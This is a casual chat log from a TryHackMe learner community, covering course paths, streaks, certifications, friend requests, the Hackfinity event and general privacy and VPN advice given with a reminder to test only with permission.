quiet-conversation

[south inlet]

Cyber Sec 101 is replacing it.

[woven vortex]

ah what will be the differences if you dont mind me asking?

[south inlet]

Cyber SEc 101 has content from the beginner path, and updated content too

The older path is really old content.

[zinc iris]

I just send you a request

[woven vortex]

thank you!

[hoary nymph]

Gave +1 Rep to @south inlet (current: #2 - 3443)

[surreal quiver]

I haven't received any request and neither do I have any notifications of accepted requests. It also says I don't have any friends on tryhackme. Was I supposed get notifications? Something seems wrong. @zinc iris

[south inlet]

You get E-mailed.

[surreal quiver]

Oh thanks I found it now

[hoary nymph]

Gave +1 Rep to @south inlet (current: #2 - 3444)

[zinc iris]

You should check your email and accept the requests

[surreal quiver]

Accepted 😀

[wheat torrent]

When is the update coming?

[wanton pewter]

Still cyber sec 101 is already here

You can enroll and learn, it’s just the old pathways weren’t removed yet, which is going to happen now.

[surreal quiver]

Do any of you guys actually work in the field? How long have you been on THM

[weary meteor]

around 5 years

[trail matrix]

@weary meteor you are a bot , so they created you 5 years ago ?

[surreal quiver]

How was it starting out? After how long would you say you feel you mastered red teaming or blue teaming depending on what path you chose?

[weary meteor]

You can never master it . I become available to do things on my own after maybe a year and a half - two years 🙂

[fair vine]

ive been working in the cyber field for like 1.5 years general IT for another 1,5 year and like 3 years tryhackme i think

[weary meteor]

I'm real 😦

[bitter gale]

lol robot

bro is top 13 worldwide on thm leader board

[surreal quiver]

How old are you anyway? Did you do any previous learning? If you are from a rural part of Serbia I'm guessing you weren't around hacking much. I'm sure that if I didn't stumble on to THM I wouldn't have had the chance to learn all this as compared to someone living in like USA or some other more advanced country.

[surreal quiver]

Did you do any prior learning? How did you get a job in IT

[weary meteor]

I'm in early 20s . Yes THM/HTB and suchlike platforms are only places where you can learn cysec from here . There's no cysec school/uni here 🙂 .

[fair vine]

i did a study regarding it administration. did an internship for a multination company and from that company i got my first job in IT as a working student at the support desk, did my internship at the soc, worked at the soc

and now im here

i just got really lucky with internships

[surreal quiver]

I'm in 20s too. Wish I started sooner since THM's been around since 2018 I think.

[surreal quiver]

Where U from? How is it working at the soc?

[weary meteor]

I started in oct 2020

[fair vine]

im from the netherlands and working at a soc is pretty fun

i do alot of networks but i like endpoints more

[proven cypress]

is there any way to pay for the SAL1 in emi on a monthly basis?

[south inlet]

There isn't.

[proven cypress]

I am planning on taking this cert, but wanna check is there any option for emi?

[south inlet]

What's emi?

[quartz cliff]

Ig Emi is like they can pay half half amount no fully at a time

[south inlet]

Ah, I don't think THM offers that.

[quartz cliff]

Not sure I just guessed

[bitter gale]

did you had any certificates in the moment while applying job/internship

[fair vine]

only tryhackme i think

some low level cisco certs

no big certs that would need an exam or anything.

[bitter gale]

You are so lucky

In my region most employers asking for certs and working experience

[fair vine]

i just counted my internship times as experience

[bitter gale]

I think the hardest thing in cybersecurity is finding entry point

Like internship

[fair vine]

well i also think thats because people shoot high

just start at an support desk and work your way up from there, tell your bosses what your interested in and see if there are options

[next bronze]

@weary meteor congrats on becoming a room tester!

[fair vine]

oh damn congrats indeed. Very deserved

[weary meteor]

@next bronze @fair vine Thanks 🙂

[hoary nymph]

Gave +1 Rep to @next bronze (current: #222 - 35)

[twilit lantern]

kgb has officially joined team awesome

[ocean pine]

Kindest and most helpful of all 🫶 Congrats KGB!!

[wanton pewter]

Is it a paid role?

Well congrats regardless, I am coming for your streaks 🗣️😅

[ocean pine]

Wait I just realized I posted this on a completely different room

Sorry guys moving the post now

[weary meteor]

It's a voluntarily role 🙂

[grim roost]

hello everyone I just joined the discord !

[weary meteor]

Hello , welcome 🙂 👋

[grim roost]

I recently started the learning path on tryhackme excitedd

[weary meteor]

Thanks 🙂

[hoary nymph]

Gave +1 Rep to @ocean pine (current: #254 - 28)

[grim roost]

helooo

how is everybody doing so farr

[weary meteor]

Not bad , how are you 🙂 ?

[grim roost]

all is well so far

[weary meteor]

Glad to hear that 🙂

[grim roost]

thanks likewise!

[odd acorn]

Please be mindful of our advertisement guidelines #rules

[zinc iris]

hey everyone , I wonder , if I'm having a day and can't work for any reason , does all my streaks goes away , to zero ?

[gray sierra]

yeah unless you have bouses that can freeze it -_-

[weary meteor]

You can ask staff to restore it or use streak freeze 🙂

[wheat torrent]

can they restore it for free ?

[weary meteor]

Yes , they will 🙂

[regal tusk]

Hey everyone! Hope you're all doing well. I’ve made the decision to go all in on cybersecurity and just upgraded to the premium membership. Wishing you all the best! This is my commitment to mastering the core concepts so I can help protect those vulnerable to malware online. 🥷 💻 🛜

[zinc iris]

Good for you ! keep going

[zinc iris]

good to know

[weary meteor]

Yeah I know a few people who had their streak restored 🙂

[zinc iris]

I didn't missed any day yet but I was wondering about it

how can I do streak freeze though ?

[wild ice]

hello im having trouble adding my write up to a box:
tittle==>ColddBox-Easy THM Write-Up
link==>https://medium.com/@collinsswah/colddbox-easy-thm-write-up-873a40180554

why do i get an invalid URL error

[weary meteor]

You can get streak freezes as a prize on events 🙂

[simple bloom]

Hi, guys. I am enjoying the Pre-Security lessons. Thanks to my mentor I've only known online who is kind enough to share these stuff to a newbie and answer my questions. The CS community is cool!

[regal tusk]

Thanks brother. Keep it up too!

[hoary nymph]

Gave +1 Rep to @zinc iris (current: #1340 - 3)

[weary holly]

Agreed, the community has been very welcoming.

[rose viper]

If you have a 1 day streak freeze equipped, I believe it's automatically enabled if you miss a day. You unlock 1 streak freeze at 7, 30, and 90 day streak.

[zinc iris]

Did you thought about creating a room in THM ? you seems capable ?

[waxen hornet]

Yes

[meager yarrow]

I’m in the Linux Shell module in Cybersecurity 101, and I’m at the practical exercise that requires me to switch to root mode using sudo su to run a search with a script. However, I don’t know the root password for the machine, and I can’t find it anywhere. How can I proceed, or does anyone know the password?

[regal jetty]

'su' by itself takes root account password; 'sudo' takes the user account password; 'sudo su' uses the user account password and the user's group membership to become root without knowing the root password

[meager yarrow]

And what is the password, or where can I find it?

[regal jetty]

Did you have to log in to the linux user account you're in now? It should be the same password

Not sure, I haven't seen that exercise in a while, but you definitely don't need to know the root password to run 'sudo su'

[meager yarrow]

I managed to do it.

[gentle condor]

im pretty sure they state the root password if it is a different one in most rooms like that and otherwise it's the same as the user yeah

cool

[weary meteor]

Not yet 🙂

[weary meteor]

Try with user@Tryhackme

[deep lantern]

Subscribing to THM will not mandate life time. One can cancel anytime right?

[weary meteor]

Yes 🙂

[proper cloak]

Ok

[granite mesa]

I will glady accept $15 a month for the rest of your life please

[zinc iris]

The internet was down for like 3 hours , I feel alive again !!!!

[rose viper]

Three hours without internet probably felt like forever, lol.

[zinc iris]

it did

[tawdry dove]

You may have an addiction

[zinc iris]

I think most people are, I don't hate it

[feral kelp]

we are cybersec nerds if any of us didn’t have an internet addiction that would be hella surprising

[radiant jacinth]

https://tenor.com/view/hello-kitty-gif-9533440

[feral kelp]

hello kitty

[dusky bough]

3 hours is too much!! I feel dead in like half an hour

[zinc iris]

If I set up a docker container, with a vulnerable cms version, can I try to attack it from my vm ?

and if I can does a command with a syntax like (nmap -sCV localhost) work

[deep lantern]

Good morning is the tryhackme site having issues?

[fair vine]

yes

We are investigating problems with the website, please be patient!
Sorry for the inconvenience.

Jabba Bravo

[deep lantern]

https://tenor.com/view/no-bobux-bobux-robux-no-robux-free-bobucks-gif-26792734

@fair vine np that angry guy was a JK

Ok after relaxing on the Switch, seems like the site is back!😃

Hmmmmm looks like there's still issues in the technical side on the site. When submitting answers I see red "An unknown error has occurred".

[weary meteor]

It should be resolved soon 🙂

[deep lantern]

Yes issue resolved. Btw, I don't want to see tariffs imposed on Japan. The new Switch 2 is coming out this year and don't want heartattack price on the new console that would make it inaccessible.

[warm panther]

How can I access the reverse engineering room
It says it is private
Can anyone help me

[south inlet]

You can't, if it's private.

[warm panther]

There is no way to do that ??

[south inlet]

No. 🙂

[quaint basin]

Can't you?

[south inlet]

You know better than me that I know how to do it.

[quaint basin]

Yeeeaaaaaap

[quaint basin]

With the heavy caveat that it's private for a reason, look at #announcements and see if you can figure that one out.
It's not exactly a big secret.

[smoky mortar]

Hello, that room has been retired from the platform. 🙂

[merry adder]

Good evening everyone. General question if you don’t mind. How can I access the SOC Simulator on the platform? TIA

[weary meteor]

https://tryhackme.com/soc-sim

[jaunty totem]

Anyone else in here that's having issues with starting the certification?

[daring pulsar]

Hii there! I wrote a blog on medium and want to submit that writeup to the CTF which I solved. But when I give the URL to my blog post it shows an invalid URL why? can any help me to solve this issue? Or is there another way to get approval to upload a writeups?

[south inlet]

You need to encode the @

URL encode

[daring pulsar]

Thanks @south inlet

[hoary nymph]

Gave +1 Rep to @south inlet (current: #2 - 3490)

[daring pulsar]

Still not working

[south inlet]

Did you remove the @ ?

[daring pulsar]

yes, I used cyberchef to encode the url

[south inlet]

What did do to the @ ?

[daring pulsar]

I did not used @

[south inlet]

What did you use instead?

[daring pulsar]

I simply encode my url using URL encode. Is there anything

wrong

Can you tell me the syntax? It's little confusing

[south inlet]

Did you swap the @ for %40 ?

so

email=[e-mail] becomes example%40outlook.com

[daring pulsar]

Yeah I did now, It's submitted. Thank you

[south inlet]

Just asking, what did you have before?

[daring pulsar]

1st time I thought that you mentioned giving @ to use encode URL for encoding and I did encode to all special characters which is why It was not accepted. When I only encoded the @ it was accepted. It's a misunderstanding. But I still did not have my writeups in there tab.

[south inlet]

Yeah, the author of the room needs to accept it. 🙂

Which room was it?

[daring pulsar]

Mr.Robot

[south inlet]

Ah, that's an older room, so it may or may not get accepted, depends on the activity of the author really.

[daring pulsar]

Yeah, It's fine. My job is to submit a blog.

[daring pulsar]

But yeah, It's great to meet you.

[south inlet]

Nice to meet you too!

Hope you enjoy the server and learn new things and network well 😄

[daring pulsar]

Yeah, It's worth having.

[zinc iris]

is there a room for cewl ?

[south inlet]

No, it's mentioned in password attacks though

[little shore]

Other than that, there is a task for it in the 2023 AOC.

[zinc iris]

okay

[next bronze]

There is? 👀

I don't remember using cewl

[little shore]

Let me check and get back to you real quick.

Oh.. its Task 10 of AOC 2023. Apologies for the confusion.

[next bronze]

Np, I'll try out AOC 23 sometime

I tried 2019, but the machines are broken

[turbid wasp]

Nice, I just finished the SOC-2 learning path. Now I just need to decide if I'm going to keep charging ahead and take on the Security Engineer route or take a side quest on this SAL1 cert...🤔

[weary meteor]

Congrats , great job 🙂 🚀 🔥 . SAL1 is pretty new cert. it may not have industry recognition yet 😦 . Try to ask guys in #cyber-and-careers channel , they can give you some great advice about your cert. journey 🙂 .

[zinc iris]

hi

I found this rome about tmux terminal , and wondered , does anyone of you using it , because I don't think I will leave the oringinal terminal and use it ?

[weary meteor]

I use it sometimes when i need multiple rev shells in the same room 🙂

[fair vine]

i use tmux almost daily, I think its very nice to have like splitscreens in your terminal. or the sessions, like starting my vpn in a session and then i can detach the session so it runs in the background, same goes for long processes like a bruteforce or something

you can ofcourse also use multiple terminal windows for it

[fair vine]

has anyone done the sentinel and kql rooms that are b2b?

[wraith echo]

Absolutely!

[surreal quiver]

Is that your username on thm "en4ex"? I've sent you a friend request if it is

check your mail

[wraith echo]

Hmm thats weird I accepted your request through the email but when I refresh THM I still see no friends

[fair vine]

@wraith echo you both need to add eachother im pretty sure

so you add ***** and **** adds you

[surreal quiver]

I don't see you among friends either

[wraith echo]

Oooh okay. Thanks for that info

[hoary nymph]

Gave +1 Rep to @fair vine (current: #202 - 39)

[wraith echo]

U got same nick on THM as on Discord?

[surreal quiver]

no its ttryinnggghaackkeerr

[fair vine]

did anyone here ever use microsoft emulator?

[cunning ridge]

Hi. Want to join a team, and eventually able to join future THM events. 💯

[weary meteor]

Check out this channel #1347596231551225887 🙂

[lone wasp]

Guys any good vpn or proxy..
Coz I wanna change my vpn

[south inlet]

What's the use case?

[lone wasp]

Want to hide my presence entirely

While scanning a web application

[wraith echo]

Ooh alright gonna add you right away

[wraith echo]

Absolute top Mullvad vpn they offer to pay anonymously either in cash or by paying with Monero (XMR) aka anonymous crypto also if you pay with it they give you 0.5 euro off also you do not need to supply any personal details to register it's very robust with Wireguard available which is way faster and secure then OpenVPN protocol and if you combine that with its Mullvad browser with turned on proxy maybe also cloudflare proxy with turned on DoH in your OS itself it might be pretty good combo also don't forget to check hashes before starting installer and check for frequent browser leaks or turn wireshark and dive in. Sadly Mullvad is in 14 Alliance but they say they don't share its info also it has strict no-log privacy another variant is Proton VPN you can buy a full proton ecosystem which I can highly recommend. The VPN itself is very nice I tried it and nice but the design is a little off my expectations not as minimalistic and smooth as Mullvad but pretty nice too! Proton VPN is outside the 14 alliance and as I said in combo with its ecosystem might be very powerful! You can also check its free trial on Proton VPN and last variant is IVPN which I don't know much about so I would recommend you to go check it out by yourself but I heard nice things about it.

[wraith echo]

Okay, let's dive into it! To hide your presence entirely you must understand HOW protocols work, HOW is your traffic processed WHERE is processed, and also the fundamentals of how web servers behave. Let's start with choosing the right browser. Browsers collect info about you or more specifically websites collect thousands of info about you once you visit them they call numerous APIs. Those contact your browsers and the browser gives them your info. For a fast and nicely designed experience, I recommend Brave. For a slightly slower but more privacy-focused experience, I recommend the Mullvad browser, and for top privacy but the slowest I would say I recommend Tor. Tor is also in Brave but just so you know. Or for the highest I2P software. Next is the search engine. So many people used to think that DuckDuckGo is number one in this (also me) until I discovered that they collect your info BASED on how you interact so they will technically ASSUME what to collect. So I choose the Mullvad browser Mullvad leta which is slow and has its index but I would recommend Brave search engine it's nice and decent in its speed and has also its index. I love about Brave that you can use shortcuts to search through different search engines so if I want for example something quick to search or not important I simply type :g [your input] it's nice if you want to google dork cuz Brave search engine does not support that kind of thing. The next major thing is extensions. More extensions = slower experience but I don't mind tho. I use a couple I would say to hide my fingerprint as much as I can but it's kinda insane case I use this setting in just most extreme moments for simple searching would be enough: privacy badger (privacy in general), uMatrix or NoScript (block unwanted scripts), uBlock origin (privacy in general), Canvas Blocker (block APIs from sniffing on you), Decentraleyes (dont connect to CDN which could expose your info) ----- Part 1.

[wraith echo]

In my Mullvad browser I use this combo if you want to take privacy seriously but its pretty slow I must say: NoScript, uBlock origin, privacy badger, Chameleon, Canvas Blocker, Decentraleyes, ClearURLs, Cookie AutoDelete. Just dont forget to configure browser settings properly! Thats cruicial thing. Alright now lets head to set up our traffic protection. We wanna talk about proxy and VPN. As I said in first message I use Mullvad VPN for me its just top. In order to secure your traffic (at least) from your ISP you have to configure DNS. Yeah thats the thing I did typo instead of DNS I wrote proxy. So yeah if you use windows in ethernet or wifi settings you can configure DNS. Normally its set to Auto or som but we want to set it to manual. I personally use Cloudflare DNS I know they keep logs for 24h but I dont have to care much cuz I dont do antyhing shady and my DNS is routing trough Mullvad is that fails then there is the backup of Cloudflare. Cloudflare offer free DNS resolver. Both for IPv4 and IPv6 but I would recommend using onyl IPv4 because IPv6 likes to leak or thats what I found on internet cant say its true tho. Once you put everything in place those IP addresses you need to select DNS over HTTPS (DoH) so its properly encrypted BUT DONT SELECT fallback to plaintext thats worst thing you can do. Now thats our backup. Now every website you visit auto logs your IP address and some other info depends on configuration of that server so you must be aware of that fact. If you chose to use Mullvad browser (which I highly recmmend but Brave is also fine) you got autp pre-installed extension from Mullvad. Its Mullvad proxy. If you set that up to completely different location then your VPN it could be nice combo. It might be slow but thats what privacy is about. Privacy cost us time these days. So yeah once you set everything up you can possibly start Wireshark and monitor your traffic to optionally re-configure something. DONT FORGET TO CHECK FOR B ROWSER LEAKS!

But dont hack without proper consent! Always ensure you have full permission to test what you want to test.

[south inlet]

@wraith echo Is this all from AI?

[wraith echo]

Nope this is totally from my expirience not a single prompt to AI just pure 6 years since my 10. @south inlet

[surreal quiver]

Yeah do it

[wraith echo]

Sent🫡

[radiant jacinth]

hi guys do i really need in someday to use zeek from CLI (if i have SIEM ) ?

[wraith echo]

Hey there. Nope I dont think you have to.

[radiant jacinth]

so i can see video about it as CTI USE and skip the room or what ( what u think is best for me to do ? )

[wraith echo]

Would you be willing to share a little about your setup? Like what SIEM you use etc.?

[radiant jacinth]

well i dont have setup atm im just studying but if u have videos like that will help me alot just give me the name of it i will take it from ther

like how to use it with Siem the best way

or something like that

and is it working with some better than other like some tools working with spluck better than let say ELK ?

[wraith echo]

I bet it does its at the end of the day its open source so I think it will totally work. I found some videos for you describing some combos with ZEEK with various of SIEMs I am not really educated in this field I know a little about it but all I have is sysmon with Powershell scripts and IDS soo yeah.

https://www.youtube.com/watch?v=IwlV3wVX4xs
https://www.youtube.com/watch?v=B20u53S72zA
https://www.youtube.com/watch?v=aqTHGRUEYgM

[radiant jacinth]

aha ya idid see about sysmon combos with spluck and supluck with snort

but thx alot m8 i will see what to do with zeek ❤️

thx alot brother for the help ❤️

[wraith echo]

No problem happy I could help at least a little😁 Wish you smooth studying

[radiant jacinth]

thx i hope u the best in life man ❤️

[wraith echo]

You too!

[wraith echo]

Damn I see someone extremely passionate about cybersec. Your profile on THM is epic😭

[fair vine]

Mullvad

[zinc iris]

I'm so sleepy tonight even the easiest stuff not working with me , I'm going to bed

[still sinew]

i just keep getting coffee until my brain melts, then i can go to bed 😂

[weary meteor]

@odd acorn

[surreal quiver]

Well I wouldn't really say epic there are better ones for sure.
Passionate yeah but there's still a lot to learn.
How about you how come you haven't done more on thm

[wraith echo]

Well its hard to manage time properly. I am freshly on highschool, I am trying to follow my dream and build my company which isnt easy cuz I found out the hosting provider I chose isnt capable for serving me good quality CMS go hugo linking DNS etc etc which I am learning while programming its such a mess, I am uploading on yt from ctf platforms which I am also writing writeups on gitbook so yeah I wish I could have more time for that

I spent all money on that hosting so I want to make it work till I have time

[surreal quiver]

Wow really...what kind of company?

[wraith echo]

Welp its mission is focused on work with people dont want to specify much but yeah its a good thing without trackers, ads and this stuff

[surreal quiver]

Well whatever it is I'm sure the hard work and learning will pay off in the end...also my profile might be misleading too I don't come close to someone with years of experience and work in cyber and IT

[wraith echo]

Yeah I hope it will I already sacrificed many things. Oh I thought u do

[wraith echo]

Have you worked with hugo by any chance?

[surreal quiver]

No what's hugo

[wraith echo]

Its SSG U heard it has fastest caching or som but I am building site with it and havent heard of it so I have to read every single documentation its pain

[surreal quiver]

Nope first time hearing about it

[wraith echo]

Oh nevermind then

[zinc iris]

hi

I never joined any events in THM and I wonder if anyone can explain how they work, is it like the normal ctfs on the site ?

I saw that there is an event coming and I don't want to join a team while I don't know everything to know

[weary meteor]

You can learn more about the upcoming event here 🙂
https://tryhackme.com/hackfinity

[zinc iris]

thank you

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 3862)

[zinc iris]

Are you in a team ?

[weary meteor]

No , I don't think that i will participate in this ctf

[zinc iris]

okay

[zinc iris]

have you participate in events before , if so , do you have any advices , it's my first event

[weary meteor]

I participated in aocs and side quest in 2023. Don't worry , the purpose of the event is to have fun . Try to find some new friends in #1347596231551225887 channel and enjoy 🙂

[fair vine]

general question, would you guys choose 24 or 27 inch for a monitor. Its used for work, gaming, movies. pretty much an all around used monitor. I currently have one 24 and one 27 inch, i just dont know what to choose and would like some opinions

[boreal stag]

27 for me

[fading shore]

100% 27

I have two 27 monitors non wide, but with high gaming specs. I use them to work and of course to game.
Im considering getting a ultra wide one though, that you can also split the screen like two independent monitors, but these are quite expensive.

but id def stay with a minimum 27"

[fair vine]

Thanks guys

Ultrawide would be nice but i dont wanna throw out 2 good monitors for one

[zinc iris]

question

why the names in the server written in different colors ?

[fading shore]

if you mean our usernames, it based on our roles and the roles are based on our thm rank

there are also other special roles which will give different colors

[zinc iris]

yeah that, thank you

[hoary nymph]

Gave +1 Rep to @fading shore (current: #1351 - 3)

[reef terrace]

How to intercept a blutooth signal 🚦

[south inlet]

Why are you asking? 😄

[reef terrace]

Just for practice bro

[south inlet]

What you practicing sister?

[reef terrace]

I'm boy not girl

[south inlet]

I'm not your brother either... 😄

Ok, what are you practicing?

[reef terrace]

Intercepting signal to decode signals bro

[south inlet]

What sort of signals sister?

[sly trout]

I'm boy not girl

[jade lance]

hey can someone help me in setting active directory for homelab

[reef terrace]

Go and view in YouTube okey

[jade lance]

Got stucked on network configuration

[reef terrace]

Use ChatGPT also bro it will help you to solve this problem

[south inlet]

What are you having an issue with exactly?

[willow cloak]

I am looking for a team to join for the new event (Hackfinity Battle) is there any team might be interested =?

[south inlet]

#1347596231551225887

[willow cloak]

I joined the chanel but I can't text there. I need to be added I think

[south inlet]

You need to be verified.

[frail vault]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 13, 2025, 12:47 PM

[next bronze]

this convo is the funniest I've seen all day 🤣

[young gulch]

https://tenor.com/view/nephew-roommate-father-brother-cousin-gif-11282634

[rugged frigate]

great movie that

[civic oak]

is it recommended for beginners to join the hackfinity ?

[weary meteor]

Yeah , why not 🙂 ?

[chilly quiver]

how many people are supposed to be in a hackfinity group?

like whats the maximumm

[little shore]

To my understanding, it is 5. Do post any questions you may have on the #1347217239492919346 channel

[chilly quiver]

thanks man sorry

[fading shore]

How such events like the hackfinity usually work ? Will there be different rooms inside it kinda like the Advent ?
Im asking because I wont be able to participate , but of course, if possible id like to access the "challenges" after

Ill be exactly on those days on a trip

[little shore]

A room was created for it - https://tryhackme.com/room/HackfinityBattle

Suggest to post your inquiry on the above mentioned channel for a better response.

[fading shore]

thanks

[hoary nymph]

Gave +1 Rep to @little shore (current: #12 - 779)

[slender storm]

who can help me w the tut vc?

[weary meteor]

I think thay you will still be able to access the challenges 🙂

[radiant jacinth]

Shhh it’s quiet 🤫

[weary meteor]

What is tut ?

[summer verge]

https://tenor.com/view/scoobydoo-gif-622972956672831224

[fading shore]

Thanks!

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 3928)

[fair vine]

i think he means tutorial

not sure tho

[weary meteor]

Hm , may be 🙂 . Thanks for the tip

[hoary nymph]

Gave +1 Rep to @fair vine (current: #193 - 41)

[civic root]

Done!

[slender storm]

how do i join vcs?

[south inlet]

You need to verify your account

[frail vault]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 14, 2025, 9:20 PM

[vestal venture]

this might seem stupid but i watched mr robot recently and it made really want to get into hacking and cyber security and stuff but i really dont know where to start or anything really . can i have some advice

lol i just want to make this sure my laptop isn't gonna get a virus from this

[zinc iris]

we all been there, start at Try hack me, linux fundamentals, strong start

[weary haven]

Start with the TryHackMe advert of cyber series, its a great introduction, them if you like it start working your way through the rooms on the site

[weary meteor]

You can start with this path 🙂
https://tryhackme.com/path/outline/presecurity

[glad marsh]

FELLAS I NEED HELP

DM ME FOR MORE DETAILS

[atomic swift]

guys how is it going I'm getting ready for the next hack event this 17th I have a partner we need more mebers to complete the group of 5 DM me to send you the link

[weary meteor]

ask here 🙂

[weary meteor]

Ask in #1347596231551225887 channel 🙂

[atomic swift]

thank you so much

[marble rampart]

me: (clicks on AttackBox) ...waitwait Terminal -> sudo apt install emacs

[placid kelp]

Is anyone is there who need best a team member for solving rooms

[weary meteor]

#1347596231551225887 🙂

[junior prawn]

😭

[lethal umbra]

Hello

[civic root]

:hammer: raditya199#0 has been banned.

[weary meteor]

Try to reach out to support for account related issues . You can get in touch with them on the email below 🙂

[frail vault]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Mar 15, 2025, 12:57 PM

[zinc iris]

anyone have avg antivirus ?

when I do scans , it tells me that I have 5g system junks ?!

what are these ?

[south inlet]

@near lagoon Please don't promote your own tools.

[near lagoon]

Ok sorry ! I would like to know where can I find crypto experts to test the strength of my tool ?

[south inlet]

I have no idea.

[weary meteor]

What's the problem ?

@south inlet

[lucid viper]

Pls who can help me on partitioning my hard drive for running dual OS

[compact plinth]

do you have windows installed already? USe WSL

or look into grub if you still want dual boot

[wet sky]

Hi all, is there anyone I can add as friends? Would be nice to see other people's progress

[granite mesa]

Galaxy rat

[sharp goblet]

hey is anyone here who can help me to solve a ctf cryptography problem??

[stable charm]

Every day, a new challenge, a new skill learned, and a growing passion for cybersecurity! 💻🔐

[weary meteor]

You can add me if you want , KGBTHM is my thm username 🙂

[weary meteor]

Congrats on your first 100 days , great job 🙂 🚀 . Keep up the good work 🙂

[weary meteor]

Which room ?

[stable charm]

Thanks 🙂

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 3967)

[feral kelp]

Damn bro you've been grinding on thm 🔥

[zinc iris]

Can I send you a thm friend request

[feral kelp]

me too can i send a friend req

https://tenor.com/view/please-please-please-pwease-gif-23060934

[surreal quiver]

Hey guys any idea on why does firefox remove my burp suite cert on kali vm? I get an error like I never imported it to firefox

[little shore]

Is your firefox updated?

[surreal quiver]

Yes I do regular updates

[surreal quiver]

It first happened a couple days ago I imported it and now again the same thing I had to download a new one and import it

[little shore]

That seems odd. Did you check if the root certificate is still valid?

[surreal quiver]

What do you mean by root cert? I'm a little new to this

[stable charm]

Yes

[surreal quiver]

There is only one cert I know of for burp that is the one I downloaded and imported

[wet sky]

Thanks @weary meteor ,request sent 🙂

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 3983)

[weary meteor]

Request accepted 🙂 🤝

[compact plinth]

https://www.prophetic.com/technology could you lock someone in REM sleep?

[soft mango]

how quiteness can be a conversation?

[south inlet]

Whispering. 😄

[zinc iris]

sent it

[shell ferry]

Congratulations, that's consistency

[unborn topaz]

_whispering.... give me task 7 flag😂 _

[hybrid ingot]

Lol I thought I was the only one

[earnest girder]

it isn't that hard but might take patience

[cobalt sundial]

Can anyone help me in ghost phishing how to find flag of it

[chrome basin]

can any one help me in task because my virtual machine not running

[radiant jacinth]

Shh it’s quiet 🤫

[weary meteor]

No hints are allowed

[weary meteor]

Try to ask in #site-support 🙂

[split flare]

Anyone has any OSCP like boxes list on TRYHACKME in preparation for the exam?

[hollow tendon]

....

[marble ridge]

Hey guys, I was wondering if anyone here wants to be friends on TryHackMe, for me, seeing other people's progress helps me stay productive, here's my user if anyone's interested🙂

User: Verax1ty

[weary meteor]

You can add me if you want KGBTHM is my nickname

🙂

[marble ridge]

Awesome sauce

[marble ridge]

Sent.

[weary meteor]

Thanks , i will accept it as soon as i get back on my pc 🙂

[hoary nymph]

Gave +1 Rep to @marble ridge (current: #942 - 5)

[marble ridge]

Thanks for being my friend!

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #1 - 4047)

[tulip sleet]

Sent you a request.

[tulip sleet]

Also sent you a request.

[marble ridge]

Accepted!

[weary meteor]

Thanks , i will accept it as soon as i get back on my pc 🙂

[radiant jacinth]

https://tenor.com/view/shh-cats-gif-14317670277085954258

it's quiet

[blissful raft]

The conversation is very.. quiet

[radiant jacinth]

https://tenor.com/view/shh-sh-shhh-shhhh-shhhhh-gif-10099479385626427626

[placid kelp]

Can anyone suggest me any room on try hack me for improve mobile application penetration testing?

[brittle nacelle]

why cant i upload images?

like in this channel

[weary meteor]

You will need to verify first , you can learn how to do so on the link below 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[merry adder]

Does the SAL 1 cert help in any way towards the CySA+ cert? TIA

[weary meteor]

Try to ask in #cyber-and-careers channel 🙂

[merry adder]

I will do. Thank you

[pearl vector]

guys, I just got notified by hackerone that my password was found in a credentials dump. But the password I used for hackerone was a randomly generated one. What could that mean

[radiant jacinth]

Change your hackerone password?, and scan your system for malware with malwarebytes or an anti virus solution

[humble musk]

Check it's actually hacker one emailing u

[drowsy onyx]

Pretty vague question , ive talked about this a while ago im currently doing a personnal project with an hmailserver , i have a question , is there a way to know if my server is really blocking spams ? logs and stuff dont show anything i may have set something weirdly

[weary meteor]

Try to ask in #infosec-general 🙂

[umbral bloom]

I'll send a request, and my user is Jadeth 🙂

[marble ridge]

Alright

Accepted

[umbral bloom]

Nice

[whole plank]

Hey guys

[tulip sleet]

Hello

[whole plank]

Hey

Still working on hackfinity?

[tulip sleet]

#1347217239492919346

[rugged frigate]

@south inlet

[civic root]

Done!

[stark hemlock]

Would you mind if I also sent one? I also think it would be nice to see others progress for motivation. 😁

[marble ridge]

Yeah, go ahead

[stark hemlock]

Awesome! I'll be sending one my username is THeCha0ticSe1g3!

[marble ridge]

Alright

[marble ridge]

Accepted!

[stark hemlock]

Thank you

[marble ridge]

Np, thank you for friending me :)

[stark hemlock]

You're welcome!

[wet sky]

Sure, I'll send a request now 🙂

[marble ridge]

Ty, I Accepted your request.

[hoary nymph]

Gave +1 Rep to @wet sky (current: #2759 - 1)

[lucid viper]

Also looking for friends here on Discord because we have same views and interests

[astral cloak]

sent you a friend request. It's so hard to find people to actually talk about this stuff with if anyone else wants to team up and work on CTF challenges or rooms together please please add me I've been trying for weeks and can't find a single person who does more than a few questions a day

[dusky scarab]

hi huys, im new here.

[astral cloak]

Hey bud nice to meet you

[dusky scarab]

nice to meet you too

[astral cloak]

feel free to add me as a friend if you ever wanna hang out and work on some things together. I'm very much a beginner but trying to find some friends to collaborate with and keep me motivated

[weary meteor]

Hi , welcome 🙂 👋

[wooden urchin]

yoo good to hear, if u wanna someday do some machiens together u can dm me if u want 🙂

[astral cloak]

Def will, I'm usually on as much as possible after work monday through thursday then pretty much all day friday-sunday

[wooden urchin]

ill be on saturday and sunday all day probably

[astral cloak]

kk

[half onyx]

@radiant jacinth @radiant jacinth

[radiant jacinth]

?

Hello

I speak English btw, and server rules state to only speak in English with all do respect brother or sister.

[half onyx]

Hello brother

Can you talk to me in private chat?

[radiant jacinth]

Sure brother I will send you a friend request

[humble musk]

https://tenor.com/view/shangri-la-frontier-bunny-hop-emul-shangri-la-gif-14499625085508894741

[dull flower]

SSH everyone, this is quiet conversation.

[snow lynx]

Hi everyone

[wraith echo]

Possibly CyberChef I would say. cyberchef

[placid kelp]

i try already but no result

[placid kelp]

????

[weary meteor]

Is this from THM ?

[placid kelp]

yup

[weary meteor]

Which room ?

[placid kelp]

encryption

[weary meteor]

